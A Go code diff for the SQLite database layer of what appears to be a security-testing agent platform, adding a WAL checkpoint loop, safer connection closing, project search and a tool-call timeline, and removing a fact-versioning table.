return fmt.Errorf("设置 journal_size_limit 失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// DB 数据库连接
|
// DB 数据库连接
|
||||||
type DB struct {
|
type DB struct {
|
||||||
*sql.DB
|
*sql.DB
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
conversationArtifactsDir string
|
conversationArtifactsDir string
|
||||||
|
einoPlantaskBaseDir string // skills_dir + plantask_rel_dir (per-conversation subdirs)
|
||||||
|
einoCheckpointBaseDir string // checkpoint_dir root (per-conversation subdirs)
|
||||||
|
checkpointLoopName string
|
||||||
|
checkpointStop chan struct{}
|
||||||
|
checkpointDone chan struct{}
|
||||||
|
closeOnce sync.Once
|
||||||
|
closeErr error
|
||||||
|
}
|
||||||
|
|
||||||
|
// startPassiveCheckpointLoop 启动后台 PASSIVE checkpoint 循环。
|
||||||
|
func (db *DB) startPassiveCheckpointLoop(name string) {
|
||||||
|
if sqlitePassiveCheckpointInterval <= 0 || db == nil || db.DB == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
db.checkpointLoopName = strings.TrimSpace(name)
|
||||||
|
db.checkpointStop = make(chan struct{})
|
||||||
|
db.checkpointDone = make(chan struct{})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer close(db.checkpointDone)
|
||||||
|
ticker := time.NewTicker(sqlitePassiveCheckpointInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
// 启动后先尝试一次,尽快回收已有 WAL 堆积。
|
||||||
|
db.runPassiveCheckpoint("startup")
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-db.checkpointStop:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
db.runPassiveCheckpoint("ticker")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// runPassiveCheckpoint 执行一次 PRAGMA wal_checkpoint(PASSIVE)。
|
||||||
|
func (db *DB) runPassiveCheckpoint(trigger string) {
|
||||||
|
if db == nil || db.DB == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
startAt := time.Now()
|
||||||
|
var busy, logFrames, checkpointed int
|
||||||
|
err := db.QueryRow("PRAGMA wal_checkpoint(PASSIVE)").Scan(&busy, &logFrames, &checkpointed)
|
||||||
|
if db.logger == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fields := []zap.Field{
|
||||||
|
zap.String("db", db.checkpointLoopName),
|
||||||
|
zap.String("trigger", trigger),
|
||||||
|
zap.Int("busy", busy),
|
||||||
|
zap.Int("log_frames", logFrames),
|
||||||
|
zap.Int("checkpointed_frames", checkpointed),
|
||||||
|
zap.Int64("elapsed_ms", time.Since(startAt).Milliseconds()),
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("SQLite PASSIVE checkpoint 完成(失败)",
|
||||||
|
append(fields, zap.Error(err))...,
|
||||||
|
)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if busy > 0 {
|
||||||
|
db.logger.Info("SQLite PASSIVE checkpoint 完成(部分推进)", fields...)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
db.logger.Info("SQLite PASSIVE checkpoint 完成(成功)", fields...)
|
||||||
}
|
}
|
||||||
|
|
||||||
// NewDB 创建数据库连接
|
// NewDB 创建数据库连接
|
||||||
@@ -37,8 +127,13 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
|||||||
configureDBPool(db)
|
configureDBPool(db)
|
||||||
|
|
||||||
if err := db.Ping(); err != nil {
|
if err := db.Ping(); err != nil {
|
||||||
|
_ = db.Close()
|
||||||
return nil, fmt.Errorf("连接数据库失败: %w", err)
|
return nil, fmt.Errorf("连接数据库失败: %w", err)
|
||||||
}
|
}
|
||||||
|
if err := configureSQLitePragmas(db); err != nil {
|
||||||
|
_ = db.Close()
|
||||||
|
return nil, fmt.Errorf("配置数据库 PRAGMA 失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
database := &DB{
|
database := &DB{
|
||||||
DB: db,
|
DB: db,
|
||||||
@@ -54,12 +149,24 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
|||||||
|
|
||||||
// 初始化表
|
// 初始化表
|
||||||
if err := database.initTables(); err != nil {
|
if err := database.initTables(); err != nil {
|
||||||
|
_ = db.Close()
|
||||||
return nil, fmt.Errorf("初始化表失败: %w", err)
|
return nil, fmt.Errorf("初始化表失败: %w", err)
|
||||||
}
|
}
|
||||||
|
database.startPassiveCheckpointLoop("conversations")
|
||||||
|
|
||||||
return database, nil
|
return database, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
|
||||||
|
// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
|
||||||
|
func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase string) {
|
||||||
|
if db == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
|
||||||
|
db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
|
||||||
|
}
|
||||||
|
|
||||||
// initTables 初始化数据库表
|
// initTables 初始化数据库表
|
||||||
func (db *DB) initTables() error {
|
func (db *DB) initTables() error {
|
||||||
// 创建对话表(last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要,列名保留以兼容已有库)
|
// 创建对话表(last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要,列名保留以兼容已有库)
|
||||||
@@ -239,7 +346,6 @@ func (db *DB) initTables() error {
|
|||||||
source_conversation_id TEXT,
|
source_conversation_id TEXT,
|
||||||
source_message_id TEXT,
|
source_message_id TEXT,
|
||||||
pinned INTEGER NOT NULL DEFAULT 0,
|
pinned INTEGER NOT NULL DEFAULT 0,
|
||||||
supersedes_fact_id TEXT,
|
|
||||||
related_vulnerability_id TEXT,
|
related_vulnerability_id TEXT,
|
||||||
created_at DATETIME NOT NULL,
|
created_at DATETIME NOT NULL,
|
||||||
updated_at DATETIME NOT NULL,
|
updated_at DATETIME NOT NULL,
|
||||||
@@ -247,25 +353,6 @@ func (db *DB) initTables() error {
|
|||||||
UNIQUE(project_id, fact_key)
|
UNIQUE(project_id, fact_key)
|
||||||
);`
|
);`
|
||||||
|
|
||||||
createProjectFactVersionsTable := `
|
|
||||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
|
||||||
id TEXT PRIMARY KEY,
|
|
||||||
fact_id TEXT NOT NULL,
|
|
||||||
project_id TEXT NOT NULL,
|
|
||||||
fact_key TEXT NOT NULL,
|
|
||||||
category TEXT NOT NULL DEFAULT 'note',
|
|
||||||
summary TEXT NOT NULL DEFAULT '',
|
|
||||||
body TEXT,
|
|
||||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
|
||||||
source_conversation_id TEXT,
|
|
||||||
source_message_id TEXT,
|
|
||||||
pinned INTEGER NOT NULL DEFAULT 0,
|
|
||||||
related_vulnerability_id TEXT,
|
|
||||||
archived_at DATETIME NOT NULL,
|
|
||||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
|
||||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
|
||||||
);`
|
|
||||||
|
|
||||||
// 创建漏洞表
|
// 创建漏洞表
|
||||||
createVulnerabilitiesTable := `
|
createVulnerabilitiesTable := `
|
||||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||||
@@ -293,7 +380,7 @@ func (db *DB) initTables() error {
|
|||||||
id TEXT PRIMARY KEY,
|
id TEXT PRIMARY KEY,
|
||||||
title TEXT,
|
title TEXT,
|
||||||
role TEXT,
|
role TEXT,
|
||||||
agent_mode TEXT NOT NULL DEFAULT 'single',
|
agent_mode TEXT NOT NULL DEFAULT 'eino_single',
|
||||||
schedule_mode TEXT NOT NULL DEFAULT 'manual',
|
schedule_mode TEXT NOT NULL DEFAULT 'manual',
|
||||||
cron_expr TEXT,
|
cron_expr TEXT,
|
||||||
next_run_at DATETIME,
|
next_run_at DATETIME,
|
||||||
@@ -503,7 +590,6 @@ func (db *DB) initTables() error {
|
|||||||
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
|
CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
|
CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
|
||||||
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
|
CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
|
|
||||||
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
|
CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
|
CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
|
||||||
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
|
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
|
||||||
@@ -585,10 +671,6 @@ func (db *DB) initTables() error {
|
|||||||
return fmt.Errorf("创建project_facts表失败: %w", err)
|
return fmt.Errorf("创建project_facts表失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
|
|
||||||
return fmt.Errorf("创建project_fact_versions表失败: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
|
if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
|
||||||
return fmt.Errorf("创建vulnerabilities表失败: %w", err)
|
return fmt.Errorf("创建vulnerabilities表失败: %w", err)
|
||||||
}
|
}
|
||||||
@@ -659,8 +741,8 @@ func (db *DB) initTables() error {
|
|||||||
if err := db.migrateProjectsTable(); err != nil {
|
if err := db.migrateProjectsTable(); err != nil {
|
||||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
if err := db.migrateProjectFactVersionsTable(); err != nil {
|
if err := db.dropProjectFactVersionsTable(); err != nil {
|
||||||
db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
|
db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
|
|
||||||
if err := db.migrateWebshellConnectionsTable(); err != nil {
|
if err := db.migrateWebshellConnectionsTable(); err != nil {
|
||||||
@@ -889,14 +971,14 @@ func (db *DB) migrateBatchTaskQueuesTable() error {
|
|||||||
var agentModeCount int
|
var agentModeCount int
|
||||||
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='agent_mode'").Scan(&agentModeCount)
|
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('batch_task_queues') WHERE name='agent_mode'").Scan(&agentModeCount)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'single'"); addErr != nil {
|
if _, addErr := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'eino_single'"); addErr != nil {
|
||||||
errMsg := strings.ToLower(addErr.Error())
|
errMsg := strings.ToLower(addErr.Error())
|
||||||
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||||
db.logger.Warn("添加agent_mode字段失败", zap.Error(addErr))
|
db.logger.Warn("添加agent_mode字段失败", zap.Error(addErr))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if agentModeCount == 0 {
|
} else if agentModeCount == 0 {
|
||||||
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'single'"); err != nil {
|
if _, err := db.Exec("ALTER TABLE batch_task_queues ADD COLUMN agent_mode TEXT NOT NULL DEFAULT 'eino_single'"); err != nil {
|
||||||
db.logger.Warn("添加agent_mode字段失败", zap.Error(err))
|
db.logger.Warn("添加agent_mode字段失败", zap.Error(err))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1058,32 +1140,10 @@ func (db *DB) migrateProjectsTable() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// migrateProjectFactVersionsTable 为已有库创建事实版本表。
|
// dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
|
||||||
func (db *DB) migrateProjectFactVersionsTable() error {
|
func (db *DB) dropProjectFactVersionsTable() error {
|
||||||
ddl := `
|
_, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
|
||||||
CREATE TABLE IF NOT EXISTS project_fact_versions (
|
return err
|
||||||
id TEXT PRIMARY KEY,
|
|
||||||
fact_id TEXT NOT NULL,
|
|
||||||
project_id TEXT NOT NULL,
|
|
||||||
fact_key TEXT NOT NULL,
|
|
||||||
category TEXT NOT NULL DEFAULT 'note',
|
|
||||||
summary TEXT NOT NULL DEFAULT '',
|
|
||||||
body TEXT,
|
|
||||||
confidence TEXT NOT NULL DEFAULT 'tentative',
|
|
||||||
source_conversation_id TEXT,
|
|
||||||
source_message_id TEXT,
|
|
||||||
pinned INTEGER NOT NULL DEFAULT 0,
|
|
||||||
related_vulnerability_id TEXT,
|
|
||||||
archived_at DATETIME NOT NULL,
|
|
||||||
FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
|
|
||||||
FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
|
|
||||||
);`
|
|
||||||
if _, err := db.Exec(ddl); err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
|
|
||||||
_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||||
@@ -1159,8 +1219,13 @@ func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
|||||||
configureDBPool(sqlDB)
|
configureDBPool(sqlDB)
|
||||||
|
|
||||||
if err := sqlDB.Ping(); err != nil {
|
if err := sqlDB.Ping(); err != nil {
|
||||||
|
_ = sqlDB.Close()
|
||||||
return nil, fmt.Errorf("连接知识库数据库失败: %w", err)
|
return nil, fmt.Errorf("连接知识库数据库失败: %w", err)
|
||||||
}
|
}
|
||||||
|
if err := configureSQLitePragmas(sqlDB); err != nil {
|
||||||
|
_ = sqlDB.Close()
|
||||||
|
return nil, fmt.Errorf("配置知识库数据库 PRAGMA 失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
database := &DB{
|
database := &DB{
|
||||||
DB: sqlDB,
|
DB: sqlDB,
|
||||||
@@ -1169,8 +1234,10 @@ func NewKnowledgeDB(dbPath string, logger *zap.Logger) (*DB, error) {
|
|||||||
|
|
||||||
// 初始化知识库表
|
// 初始化知识库表
|
||||||
if err := database.initKnowledgeTables(); err != nil {
|
if err := database.initKnowledgeTables(); err != nil {
|
||||||
|
_ = sqlDB.Close()
|
||||||
return nil, fmt.Errorf("初始化知识库表失败: %w", err)
|
return nil, fmt.Errorf("初始化知识库表失败: %w", err)
|
||||||
}
|
}
|
||||||
|
database.startPassiveCheckpointLoop("knowledge")
|
||||||
|
|
||||||
return database, nil
|
return database, nil
|
||||||
}
|
}
|
||||||
@@ -1284,5 +1351,19 @@ func (db *DB) migrateKnowledgeEmbeddingsColumns() error {
|
|||||||
|
|
||||||
// Close 关闭数据库连接
|
// Close 关闭数据库连接
|
||||||
func (db *DB) Close() error {
|
func (db *DB) Close() error {
|
||||||
return db.DB.Close()
|
if db == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
db.closeOnce.Do(func() {
|
||||||
|
if db.checkpointStop != nil {
|
||||||
|
close(db.checkpointStop)
|
||||||
|
if db.checkpointDone != nil {
|
||||||
|
<-db.checkpointDone
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if db.DB != nil {
|
||||||
|
db.closeErr = db.DB.Close()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return db.closeErr
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package database
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"sort"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -493,6 +494,68 @@ func (db *DB) UpdateToolStats(toolName string, totalCalls, successCalls, failedC
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CallsTimelineBucket 调用趋势时间桶
|
||||||
|
type CallsTimelineBucket struct {
|
||||||
|
BucketTime time.Time
|
||||||
|
Total int
|
||||||
|
Failed int
|
||||||
|
}
|
||||||
|
|
||||||
|
// truncateCallsTimelineBucket 将时间截断到趋势图桶边界(本地时区,与 handler 侧 truncateToBucket 一致)
|
||||||
|
func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
|
||||||
|
t = t.In(time.Local)
|
||||||
|
if dailyBuckets {
|
||||||
|
y, m, d := t.Date()
|
||||||
|
return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
|
||||||
|
}
|
||||||
|
return t.Truncate(time.Hour)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadCallsTimeline 按时间范围加载调用趋势(since 起至今,含边界)
|
||||||
|
func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
|
||||||
|
// 在 Go 侧按本地时区分桶,避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析(差 8h 等问题)
|
||||||
|
query := `
|
||||||
|
SELECT start_time,
|
||||||
|
CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
|
||||||
|
FROM tool_executions
|
||||||
|
WHERE start_time >= ?
|
||||||
|
`
|
||||||
|
|
||||||
|
rows, err := db.Query(query, since)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
bucketMap := make(map[time.Time]struct{ total, failed int })
|
||||||
|
for rows.Next() {
|
||||||
|
var startTime time.Time
|
||||||
|
var failed int
|
||||||
|
if err := rows.Scan(&startTime, &failed); err != nil {
|
||||||
|
db.logger.Warn("加载调用趋势失败", zap.Error(err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
key := truncateCallsTimelineBucket(startTime, dailyBuckets)
|
||||||
|
entry := bucketMap[key]
|
||||||
|
entry.total++
|
||||||
|
entry.failed += failed
|
||||||
|
bucketMap[key] = entry
|
||||||
|
}
|
||||||
|
|
||||||
|
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
|
||||||
|
for bucketTime, counts := range bucketMap {
|
||||||
|
buckets = append(buckets, CallsTimelineBucket{
|
||||||
|
BucketTime: bucketTime,
|
||||||
|
Total: counts.total,
|
||||||
|
Failed: counts.failed,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
sort.Slice(buckets, func(i, j int) bool {
|
||||||
|
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
|
||||||
|
})
|
||||||
|
return buckets, nil
|
||||||
|
}
|
||||||
|
|
||||||
// DecreaseToolStats 减少工具统计信息(用于删除执行记录时)
|
// DecreaseToolStats 减少工具统计信息(用于删除执行记录时)
|
||||||
// 如果统计信息变为0,则删除该统计记录
|
// 如果统计信息变为0,则删除该统计记录
|
||||||
func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {
|
func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {
|
||||||
|
|||||||
@@ -51,7 +51,6 @@ type ProjectFact struct {
|
|||||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||||
Pinned bool `json:"pinned"`
|
Pinned bool `json:"pinned"`
|
||||||
SupersedesFactID string `json:"supersedes_fact_id,omitempty"`
|
|
||||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||||
CreatedAt time.Time `json:"created_at"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
UpdatedAt time.Time `json:"updated_at"`
|
UpdatedAt time.Time `json:"updated_at"`
|
||||||
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
|
|||||||
return &p, nil
|
return &p, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CountProjects 统计项目数量。
|
||||||
|
func (db *DB) CountProjects(status, search string) (int, error) {
|
||||||
|
query := `SELECT COUNT(*) FROM projects WHERE 1=1`
|
||||||
|
args := []interface{}{}
|
||||||
|
if s := strings.TrimSpace(status); s != "" {
|
||||||
|
query += " AND status = ?"
|
||||||
|
args = append(args, s)
|
||||||
|
}
|
||||||
|
if q := strings.TrimSpace(search); q != "" {
|
||||||
|
pattern := "%" + q + "%"
|
||||||
|
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
|
||||||
|
args = append(args, pattern, pattern)
|
||||||
|
}
|
||||||
|
var count int
|
||||||
|
if err := db.QueryRow(query, args...).Scan(&count); err != nil {
|
||||||
|
return 0, fmt.Errorf("统计项目失败: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
// ListProjects 列出项目。
|
// ListProjects 列出项目。
|
||||||
func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
|
func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
|
||||||
if limit <= 0 {
|
if limit <= 0 {
|
||||||
limit = 200
|
limit = 50
|
||||||
}
|
}
|
||||||
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||||
FROM projects WHERE 1=1`
|
FROM projects WHERE 1=1`
|
||||||
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
|
|||||||
query += " AND status = ?"
|
query += " AND status = ?"
|
||||||
args = append(args, s)
|
args = append(args, s)
|
||||||
}
|
}
|
||||||
|
if q := strings.TrimSpace(search); q != "" {
|
||||||
|
pattern := "%" + q + "%"
|
||||||
|
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
|
||||||
|
args = append(args, pattern, pattern)
|
||||||
|
}
|
||||||
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||||
args = append(args, limit, offset)
|
args = append(args, limit, offset)
|
||||||
|
|
||||||
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
|
|||||||
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
|
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
|
||||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
FROM project_facts WHERE project_id = ?`
|
FROM project_facts WHERE project_id = ?`
|
||||||
args := []interface{}{projectID}
|
args := []interface{}{projectID}
|
||||||
if !includeDeprecated {
|
if !includeDeprecated {
|
||||||
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
|
|||||||
}
|
}
|
||||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
FROM project_facts WHERE project_id = ?`
|
FROM project_facts WHERE project_id = ?`
|
||||||
args := []interface{}{projectID}
|
args := []interface{}{projectID}
|
||||||
if c := strings.TrimSpace(filter.Category); c != "" {
|
if c := strings.TrimSpace(filter.Category); c != "" {
|
||||||
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
|
|||||||
row := db.QueryRow(
|
row := db.QueryRow(
|
||||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
FROM project_facts WHERE project_id = ? AND fact_key = ?`,
|
FROM project_facts WHERE project_id = ? AND fact_key = ?`,
|
||||||
projectID, factKey,
|
projectID, factKey,
|
||||||
)
|
)
|
||||||
@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
|
|||||||
row := db.QueryRow(
|
row := db.QueryRow(
|
||||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||||
FROM project_facts WHERE id = ?`, id,
|
FROM project_facts WHERE id = ?`, id,
|
||||||
)
|
)
|
||||||
return scanProjectFactRow(row)
|
return scanProjectFactRow(row)
|
||||||
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
|||||||
if strings.TrimSpace(f.Confidence) == "" {
|
if strings.TrimSpace(f.Confidence) == "" {
|
||||||
f.Confidence = existing.Confidence
|
f.Confidence = existing.Confidence
|
||||||
}
|
}
|
||||||
if projectFactContentChanged(existing, f) {
|
|
||||||
versionID, verr := db.InsertProjectFactVersion(existing)
|
|
||||||
if verr != nil {
|
|
||||||
return nil, verr
|
|
||||||
}
|
|
||||||
f.SupersedesFactID = versionID
|
|
||||||
} else if f.SupersedesFactID == "" {
|
|
||||||
f.SupersedesFactID = existing.SupersedesFactID
|
|
||||||
}
|
|
||||||
_, err = db.Exec(
|
_, err = db.Exec(
|
||||||
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
|
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
|
||||||
source_conversation_id = COALESCE(?, source_conversation_id),
|
source_conversation_id = COALESCE(?, source_conversation_id),
|
||||||
source_message_id = COALESCE(?, source_message_id),
|
source_message_id = COALESCE(?, source_message_id),
|
||||||
pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
|
pinned = ?, related_vulnerability_id = ?, updated_at = ?
|
||||||
WHERE id = ?`,
|
WHERE id = ?`,
|
||||||
f.Category, f.Summary, f.Body, f.Confidence,
|
f.Category, f.Summary, f.Body, f.Confidence,
|
||||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("更新事实失败: %w", err)
|
return nil, fmt.Errorf("更新事实失败: %w", err)
|
||||||
